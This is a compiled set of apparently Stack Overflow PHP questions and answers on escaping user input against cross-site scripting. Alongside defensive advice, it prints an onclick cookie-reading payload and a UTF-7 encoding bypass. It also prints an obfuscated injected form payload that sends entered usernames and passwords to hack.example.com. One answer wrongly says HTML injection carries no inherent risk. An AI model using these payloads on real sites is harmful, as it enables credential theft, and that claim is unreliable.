Why my code vulnerable to xss attack? - php

I have php code like this
<?php
$input_from_user = "w' onclick = 'alert(document.cookie);'";
$i_am_barcelona_fan = htmlentities($input_from_user);
?>
<input type = 'text' name = 'messi_fan' value ='<?php echo $i_am_barcelona_fan;?>' />
I am using htmlentities to protect from XSS attack, but still I am vulnerable to the above string.
Why is my code vulnerable to XSS attack? How can I protect from my code from it?

You're not telling PHP to escape quotes as well, and you should use htmlspecialchars() instead:
<input type = 'text' name = 'messi_fan' value ='<?php echo htmlspecialchars($input_from_user, ENT_QUOTES, 'UTF-8'); ?>' />
Demo

Never ever (ever) trust foreign input introduced to your PHP code. Always sanitize and validate foreign input before using it in code. The filter_var and filter_input functions can sanitize text and validate text formats (e.g. email addresses).
Foreign input can be anything: $_GET and $_POST form input data, some values in the $_SERVER superglobal, and the HTTP request body via fopen('php://input', 'r'). Remember, foreign input is not limited to form data submitted by the user. Uploaded and downloaded files, session values, cookie data, and data from third-party web services are foreign input, too.
While foreign data can be stored, combined, and accessed later, it is still foreign input. Every time you process, output, concatenate, or include data in your code, ask yourself if the data is filtered properly and can it be trusted.
Data may be filtered differently based on its purpose. For example, when unfiltered foreign input is passed into HTML page output, it can execute HTML and JavaScript on your site! This is known as Cross-Site Scripting (XSS) and can be a very dangerous attack. One way to avoid XSS is to sanitize all user-generated data before outputting it to your page by removing HTML tags with the strip_tags function or escaping characters with special meaning into their respective HTML entities with the htmlentities or htmlspecialchars functions.
Another example is passing options to be executed on the command line. This can be extremely dangerous (and is usually a bad idea), but you can use the built-in escapeshellarg function to sanitize the executed command’s arguments.
One last example is accepting foreign input to determine a file to load from the filesystem. This can be exploited by changing the filename to a file path. You need to remove ”/”, “../”, null bytes, or other characters from the file path so it can’t load hidden, non-public, or sensitive files.
Learn about data filtering (http://www.php.net/manual/en/book.filter.php)
Learn about filter_var (http://php.net/manual/en/function.filter-var.php)

Related

Security and Deprecated Filters

On my website users can submit a form that contains their name, email, and an amount.
<input type='text' minlength='2' maxlength='30' spellcheck='false' placeholder='Elon' autocomplete='off' form='form' required>
<input type='email' minlength='6' maxlength='40' spellcheck='false' placeholder='musk#tesla.com' autocomplete='off' form='form' required>
<input type='number' step='0.01' min='2000' max='99999999.99' placeholder='$2,000.00' autocomplete='off' form='form' required>
However, instead of posting the HTML form, the values are parsed in one JS function, which then sends a string containing all of the parameters to another function that creates an AJAX request.
form.onsubmit = function(e){
const
children = this.children,
summary = this.parentNode.parentNode.children[0].innerText.split('.'),
negotiate = this.parentNode.children[1]
insert_data(`table=offers
&name=${children[0].value.toLowerCase()}
&email=${children[1].value.toLowerCase()}
&amount=${children[2].value * 100}
&sld=${summary[0]}
&tld=${summary[1]}`
)
return false
}
function insert_data(parameters, async){
async = async === undefined || async
let xhr = window.XMLHttpRequest
? new XMLHttpRequest()
: new ActiveXObject('Microsoft.XMLHTTP')
xhr.open('POST', 'ajax.php', async)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8')
xhr.send(parameters)
}
Considering that, here's my first question: For the sake of security, should the insert_data(parameter string) be encoded, even though it is posted and not actually passed along as parameters in an actual URL?
Below is the PHP to which the AJAX request posts the data. In the script I'm trying to sanitize the data before inserting it.
Earlier today I read on SO that htmlspecialchars() and prepared statements should be sufficient, and that there isn't much else one can do, when it comes to sanitizing input. But I figure I might as well try to do everything I can.
$name = trim(strtolower(htmlspecialchars($_POST["name"])));
$email = trim(strtolower(filter_var($_POST["email"], FILTER_SANITIZE_EMAIL)));
$amount = trim(filter_var($_POST["amount"], FILTER_SANITIZE_NUMBER_INT));
$sld = trim(strtolower(htmlspecialchars($_POST["sld"])));
$tld = trim(strtolower(htmlspecialchars($_POST["tld"])));
I also read earlier that FILTER_SANITIZE_MAGIC_QUOTES is now deprecated, even though there's no mention of this at all in the documentation. Because of this, I'm wondering whether any of the following filters are also depcrecated?
FILTER_SANITIZE_EMAIL
FILTER_SANITIZE_NUMBER_INT
FILTER_SANITIZE_SPECIAL_CHARS
FILTER_SANITIZE_FULL_SPECIAL_CHARS
FILTER_SANITIZE_STRING
And my last question is, if none of the filters above are deprecated, which of the last three filters should I be using for $name, $sld, and $tld, which should be basic ASCII strings? They all seem so similar to one another...
Thanks
`table=offers&name=${children[0].value.toLowerCase()}...`
There's a problem here. If any of the values contain a & and/or =, the meaning of this query string will be altered, and at the very least you'll lose information. You need to encodeURIComponent each individual value before placing it into a query string, e.g.:
`table=offers&name=${encodeURIComponent(children[0].value.toLowerCase())}...`
You don't need to encode anything for sending it over HTTP. The TL;DR is that you must use HTTPS if you're interested in hiding the information from 3rd parties, there's no sensible way around this.
$name = trim(strtolower(htmlspecialchars($_POST["name"])));
Just… don't. Don't HTML-encode your values for storage. What if you send this value in a plaintext email, or use it in some other non-HTML context? It'll contain HTML entities. That's how things like "Dear Mr. O"Connor" happen.
Just store the plain values as is in the database. You may want to validate them, e.g. check that an email looks like an email, but you shouldn't alter the values unless you have a very good reason to.
Use prepared statements to protect against SQL injection. If you ever output those values again somewhere, encode/escape them properly at that point; e.g. htmlspecialchars them when outputting them into HTML.
See:
How can I prevent SQL injection in PHP?
How to prevent XSS with HTML/PHP?
The Great Escapism (Or: What You Need To Know To Work With Text Within Text)

Should I be using htmlspecialchars?

I seem to have trouble understanding when to use htmlspecialchars().
Let's say I do the following when I am inserting data:
$_POST = filter_input_array(INPUT_POST, [
'name' => FILTER_SANITIZE_STRING,
'homepage' => FILTER_DEFAULT // do nothing
]);
$course = new Course();
$course->name = trim($_POST['name']);
$course->homepage = $_POST['homepage']; // may contain unsafe HTML
$courseDAO = DAOFactory::getCourseDAO();
$courseDAO->addCourse($course); // simple insert statement
When I ouput, I do the following:
$courseDAO = DAOFactory::getCourseDAO();
$course = $courseDAO->getCourseById($_GET['id']);
?>
<?php ob_start() ?>
<h1><?= $course->name ?></h1>
<div class="homepage"><?= $course->homepage ?></div>
<?php $content = ob_get_clean() ?>
<?php include 'layout.php' ?>
I would like that $course->homepage be treated and rendered as HTML by the browser.
I've been reading answers on this question. Should I be using htmlspecialchars() anywhere here?
There are (from a security POV) three types of data that you might output into HTML:
Text
Trusted HTML
Untrusted HTML
(Note that HTML attributes and certain elements are special cases, e.g. onclick attributes expect HTML encoded JavaScript so your data needs to be HTML safe and JS safe).
If it is text, then use htmlspecialchars to convert it to HTML.
If it is trusted HTML, then just output it.
If it is untrusted HTML then you need to sanitise it to make it safe. That generally means parsing it with a DOM parser, and then removing all elements and attributes that do not appear on a whitelist as safe (some attributes may be special cased to be filtered rather than stripped), and then converting the DOM back to HTML. Tools like HTML Purifier exist to do this.
$course->homepage = $_POST['homepage']; // may contain unsafe HTML
I would like that $course->homepage be treated and rendered as HTML by the browser.
Then you have the third case and need to filter the HTML.
It looks like you're storing raw html in the database and then rendering it to the page later.
I wouldn't filter the data before you store it into the db, you risk corrupting the users input and there would be no way to retrieve the original if it were never stored.
If you want the outputted data to be treated as html by the browser then no, htmlspecialchars is not the solution.
However it is worth thinking about using striptags to remove script tags in order to combat XSS. With striptags you have to whitelist the allowable tags which is obviously tedious but pretty safe.
It might also be worth you taking a look at tinyMCE and see how they deal with such things
output plain HTML if you are sure about the contents. use htmlspecialchars on every other resources, especially for user inputs to prevent security issues.

Securing against XSS - user provides part of url

I see why this below is bad and that htmlspecialchars must be used to prevent some xss vulnerabilities:
<?php $url = '<plaintext>';
echo $url;?>
like so:
<?php $url = '<plaintext>';
htmlspecialchars($url, ENT_QUOTES, "UTF-8");
echo $url;?>
In my database i store the filename only which is user provided. (im sure this will change as i learn more about this subject)
What im wondering though, is if this below is actually doing anything to protect against XSS? Is it less of a vulnerability compared to the previous case?
I've tried injecting script tags with and without htmlspecialchars
and it seems to do nothing in either case. The script code wont execute.
Is it secure? Is htmlspecialchars the right tool for the job? How can i make it better?
$sql['image'] is fetched from my database and this below is the code that displays the image.
<?php $url = "/images/" . $sql['image'] . ".jpg";
$url = htmlspecialchars($url, ENT_QUOTES, "UTF-8");?>
<img src="<?php echo $url;?>">
outputs:
<img src="/images/test.jpg">
In principle you can't trust any user input, ever. If $sql['image'] will directly or indirectly be provided by users, then it won't matter if you add constants to the beginning and end of that string. Either way you'll have to rely on htmlspecialchars() not containing any bugs that would allow scripting to be injected.
To actually increase security in this case, you'd have to take somewhat more drastic measures. One popular method for that would be to simply assign file names yourself, for example by hashing on the contents of the file and using that hash instead of the original file name to store the file. md5() and sha1() tend to come in handy for that.
Also, assuming the users provide the images whose file names you're storing, you'd have to make sure those can't be used to get the job done, either. For example, the users might upload an SVG with an embedded script instead of a JPEG, thus potentially completely avoiding any validation or mangling on the file name itself.

secure form data for mysql

I have been using:
if ($_POST['Comments']!=""){
$comments = mysql_real_escape_string($_POST['Comments']);
}else{
$comments = "";
}
ever since a user added and apostraphy to their data and it broke my sql statement. I thought this also secured the data at the same time. But just now I got a submission and in the comment field in the database I see:
/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r
seohelp
And the email I get when someone submits had the text with the links actually working.
I thought mysql_real_escape_string() was supposed to get rid of all that?
Any suggestions? I was thinking of doing a function that does all the string cleaning for me in a few different steps. But if there is a way to secure in just one step that would be great.
mysql_real_escape_string() only protects* you against SQL Injection, not against Cross-Site Scripting (XSS).
* mysql_real_escape_string() doesn't behave properly when used in conjunction with SET NAMES because it is unaware of the charset being used. Use mysql_set_charset() instead.
In order to protect yourself against XSS, you must also use htmlentities() or htmlspecialchars() either at insert time (before mysql_real_escape_string()) or at display time.
$escaped = htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
If you want to allow some HTML content, use HTML Purifier with a whitelist of elements and attributes you want to allow.

XSS attack to bypass htmlspecialchars() function in value attribute

Let's say we have this form, and the possible part for a user to inject malicious code is this below
...
<input type=text name=username value=
<?php echo htmlspecialchars($_POST['username']); ?>>
...
We can't simply put a tag, or a javascript:alert(); call, because value will be interpreted as a string, and htmlspecialchars filters out the <,>,',", so We can't close off the value with quotations.
We can use String.fromCode(.....) to get around the quotes, but I still unable to get a simple alert box to pop up.
Any ideas?
Also, it's important to mention that allowing people to inject HTML or JavaScript into your page (and not your datasource) carries no inherent security risk itself. There already exist browser extensions that allow you to modify the DOM and scripts on web pages, but since it's only client-side, they're the only ones that will know.
Where XSS becomes a problem is when people a) use it to bypass client-side validation or input filtering or b) when people use it to manipulate input fields (for example, changing the values of OPTION tags in an ACL to grant them permissions they shouldn't have). The ONLY way to prevent against these attacks is to sanitize and validate input on the server-side instead of, or in addition to, client-side validation.
For sanitizing HTML out of input, htmlspecialchars is perfectly adequate unless you WANT to allow certain tags, in which case you can use a library like HTMLPurifier. If you're placing user input in HREF, ONCLICK, or any attribute that allows scripting, you're just asking for trouble.
EDIT: Looking at your code, it looks like you aren't quoting your attributes! That's pretty silly. If someone put their username as:
john onclick="alert('hacking your megabits!1')"
Then your script would parse as:
<input type=text name=username value=john onclick="alert('hacking your megabits!1')">
ALWAYS use quotes around attributes. Even if they aren't user-inputted, it's a good habit to get into.
<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
There's one way. You aren't passing htmlspecialchars() the third encoding parameter or checking encoding correctly, so:
$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';
Only works if you can a) set the page to output UTF-7 or b) trick the page into doing so (e.g. iframe on a page without a clear charset set). The solution is to ensure all input is of the correct encoding, and that the expected encoding is correctly set on htmlspecialchars().
How it works? In UTF-7, <>" chars have different code points than UTF-8/ISO/ASCII so they are not escaped unless convert the output to UTF-8 for assurance (see iconv extension).
value is a normal HTML attribute, and has nothing to do with Javascript.
Therefore, String.fromCharCode is interpreted as a literal value, and is not executed.
In order to inject script, you first need to force the parser to close the attribute, which will be difficult to do without >'".
You forgot to put quotes around the attribute value, so all you need is a space.
Even if you do quote the value, it may still be vulnerable; see this page.
Somewhat similar to Daniel's answer, but breaking out of the value= by first setting a dummy value, then adding whitespace to put in the script which runs directly by a trick with autofocus, setting the input field blank and then adds a submit function which runs when the form is submitted, leaking the username and password to an url of my choice, creating strings from the string prototype without quotation (because quotations would be sanitized):
<body>
<script type="text/javascript">
function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}
redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
You cannt exploit that input field which contain that func but you can exploit any btn or paragraph or heading or text near it by:
like you can add this on btn -> onclick=alert('Hello')

Categories